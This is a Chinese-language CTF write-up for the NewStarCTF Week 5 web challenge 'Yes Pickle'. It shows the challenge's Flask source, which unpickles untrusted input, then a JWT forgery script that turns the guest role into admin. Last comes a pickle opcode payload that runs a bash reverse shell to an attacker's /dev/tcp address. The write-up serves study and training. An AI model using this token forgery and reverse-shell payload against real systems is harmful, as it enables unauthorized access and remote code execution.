NewStarCTF WEEK5|WEB Yes Pickle

news/2025/1/18 6:43:19/文章来源:https://www.cnblogs.com/dghh/p/18339192

下载附件

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *app = Flask(__name__)  # 创建 Flask 应用实例def generate_random_string(length=16):"""生成一个指定长度的随机字符串,由字母和数字组成。:param length: 字符串的长度,默认为16:return: 随机生成的字符串"""characters = string.ascii_letters + string.digits  # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string# 设置 Flask 的 SECRET_KEY,随机生成一个16位的字符串
app.config['SECRET_KEY'] = generate_random_string(16)# 生成一个 RSA 密钥,用于 JWT 签名和验证
key = jwk.JWK.generate(kty='RSA', size=2048)@app.route("/")
def index():"""处理主页请求。根据请求中的 token 验证用户角色,并渲染相应的模板。如果没有提供 token,则生成一个默认的 JWT 并返回给客户端。"""payload = request.args.get("token")  # 从查询参数中获取 tokenif payload:try:# 验证 JWT,获取用户角色token = verify_jwt(payload, key, ['PS256'])session["role"] = token[1]['role']  # 将用户角色存储在 session 中except Exception as e:# 如果 JWT 验证失败,默认为 guest 角色session["role"] = "guest"else:# 如果没有 token,设置默认角色为 guest,并生成一个新的 JWTsession["role"] = "guest"user = {"username": "boogipop", "role": "guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))  # 生成 JWTreturn render_template('index.html', token=jwt)  # 返回渲染的模板及生成的 tokenreturn render_template('index.html')  # 返回渲染的模板@app.route("/pickle")
def unser():"""处理 pickle 请求。如果用户角色为 admin,则解码和反序列化 pickle 数据。否则,直接渲染模板。"""if session.get("role") == "admin":  # 检查用户角色是否为 admintry:pickle_data = request.args.get("pickle")  # 从查询参数中获取 pickle 数据if pickle_data:pickle.loads(base64.b64decode(pickle_data))  # 解码和反序列化 pickle 数据except Exception as e:# 捕获 pickle 解码和反序列化过程中的异常(如有)return render_template("index.html", error=f"Pickle error: {e}")return render_template("index.html")  # 返回渲染的模板if __name__ == "__main__":# 启动 Flask 应用,监听所有网络接口的 5000 端口app.run(host="0.0.0.0", port=5000, debug=True)

通过对代码简单的分析思路很明显
现在/路由下进行token伪造
image
image

脚本

import base64
from datetime import timedelta
from json import loads, dumps
import jwcrypto.common
from jwcrypto.common import base64url_decode, base64url_encodedef topic(topic):""" Use mix of JSON and compact format to insert forged claims including long expiration """[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))parsed_payload['role'] = 'admin'fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjI1OTE1NjYsImlhdCI6MTcyMjU4Nzk2NiwianRpIjoiUHZQUk1fWXRmaDJrT0FDZl9zQzd4USIsIm5iZiI6MTcyMjU4Nzk2Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.paFjWMAcxz5l_RfYKFQVU-kZhuJSJli9ckQ8Q_k8ouMAGaW1YE-OAyl9XFP0-iQosVaFKFUzojMtJRxAHxdnK3L8yjjZrpr9XLsLV87UNMC_Nl-NPCYMzXpPvT5d6bCqViKELVIWecTVjMo0vO2q4GNs83K6lNE6-dq0jrvYELg-KB6sqVoH5QfRRG_lbzVxtTOIVnE6Z9z9C36NU44G6fHjeYqBYhJ3Z7Hudhib4y6aXzpL9vLtI8swQNBkUZUf8F8CR5b-QAxl86FfI6cnXkO11tENBhPMnw_vtn5XOcUy3hRwrHDG6I6a5R-r6BWzPSNSHGvcFxjPA8eOWQVvBQ'
topic = topic(originaltoken)
print(topic)

然后就

image

接下来就是开始利用pickle.loads(base64.b64decode(pickle_data))来执行命令
直接弹shell

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

image

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/776692.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数仓sql场景:迭代求结果问题

1.需求2.sql实现 这道题先需要去分析结果集,本质上是一个迭代累加的过程,先要得到如下结果如果在面试数仓中实现了以上结果,基本上面试官会很通过,也在短时间内可以实现,实现sql如下with tb as ( select 1 as s,a as pv union all select 2 as s,b as pv union all select…

Vue 使用 vue-drag-resize 实现拖拽和随意缩放大小及安装报错处理

一、vue-drag-resize的安装yarn add vue-drag-resize 下面是错误解决方案: TypeError: Cannot read properties of undefined (reading ‘_c’) 解决方案: 在引入时加上“/src”:import VueDragResize from "vue-drag-resize"; 改成 import VueDragResize from …

PgStatement的executeCachedSql(String sql, int flags, String @Nullable [] columnNames)方法的学习

方法代码如下: private boolean executeCachedSql(String sql, int flags,String @Nullable [] columnNames) throws SQLException {//第一部分PreferQueryMode preferQueryMode = connection.getPreferQueryMode();boolean shouldUseParameterized = false;//第二部分QueryEx…

初识RestAssured

1、接口测试的本质 不在于创造,在别人写好的情况下去调用--发起请求,校验结果 2、接口测试的四要素URL地址 请求方式 请求参数 返回值3、RestAssured介绍 RestAssured的依赖导入点击查看代码 <dependencies> <!-- Rest-Assured核心库 --> <dependency> …

ximo基础脱壳教程的脱壳学习记录

ximo基础脱壳教程的脱壳学习记录 之前遇到壳直接脚本自动化处理了,现在初步学习一下手脱壳。(中间一直用的x32dbg,后来有些壳换od脱了) 参考教程https://www.52pojie.cn/thread-582852-1-1.html 1、手脱UPX壳 查壳方法1:单步跟踪 就是一直单步走,如果是向下跳转就跳,如果…

.net 8 应用在docker容器中创建失败 Failed to create CoreCLR, HRESULT: 0x80070008

在UAT环境中docker容器里部署.net8 应用没问题,在dev环境docker run 启动失败,并报错 Failed to create CoreCLR, HRESULT: 0x80070008以下文章解决了我遇到的问题,感谢 https://www.cnblogs.com/cyq1162/p/17981333 处理办法 增加--security-opt seccomp=unconfined docker…

【AI冰封挑战】搭档函数计算,“冰”封你的夏日记忆

在 AI 绘画领域,Stable Diffusion、 WebUI、Midjourney 等工具各领风骚,但 ComfyUI 以其独特的自动化工作流机制,自问世以来便迅速崭露头角,成为众多应用开发者和艺术创作者的新宠。它不仅革新了 AI 生图的创作流程,更以高效的自动化水平,为AI绘画领域开辟了全新的篇章。…

IT事件经理在数字企业中的角色和责任

什么是IT事件经理? IT事件经理有时也被称为事件指挥官,他们承担着管理组织事件响应的总体责任,从委派各种事件响应任务到与每个利益相关者进行沟通和协调。 示例:当一个全球性的电子商务平台在一次销售活动中流量激增,数以百万计的用户涌入网站时,不可预见的技术故障开始…

maven项目pom文件查看架包依赖处理架包冲突问题

在运行maven项目的时候由于依赖冲突出现如下问题 项目中依赖了多个不同版本的slf4j类库,我们可以使用dependency:tree命令: 找到冲突的依赖,向上找到引入依赖的根源,在对应的pom文件里,添加 <exclusions> 标签即可<dependency><groupId>com.baidu.ai…

Tarjan算法和连通性相关(二)

上一篇博客我们介绍了强连通分量,本文我们继续学习与连通性有关的一些概念 割点什么是割点?对于一个无向图,如果把一个点删除后这个图的极大连通分量数增加了,那么这个点就是这个图的割点 我们画个图理解一下:在这个图中,如果我们把 3 这个点给删除掉,那么这张图就会被拆…

Kotlin 字符串教程:深入理解与使用技巧

Kotlin中的字符串用于存储文本,定义时使用双引号包围字符序列,如`var greeting = "Hello"`。Kotlin能自动推断变量类型,但在未初始化时需显式指定类型,如`var name: String`。可通过索引访问字符串元素,如`txt[0]`获取首字符。字符串作为对象,拥有属性和方法,…

Zabbix搭建

目录zabbix搭建1. 前置环境准备1.1 搭建LNMP2. zabbix准备工作2.1 安装php模块以及编译所需工具2.2 修改php配置2.3 编译安装zabbix2.3.1 下载tar包2.3.2 解压2.3.3 创建用户/组2.3.4 开始安装2.3.5 配置数据库3. 配置zabbix3.1 修改配置文件3.2 Web界面部署4. 安装agent5. 添加…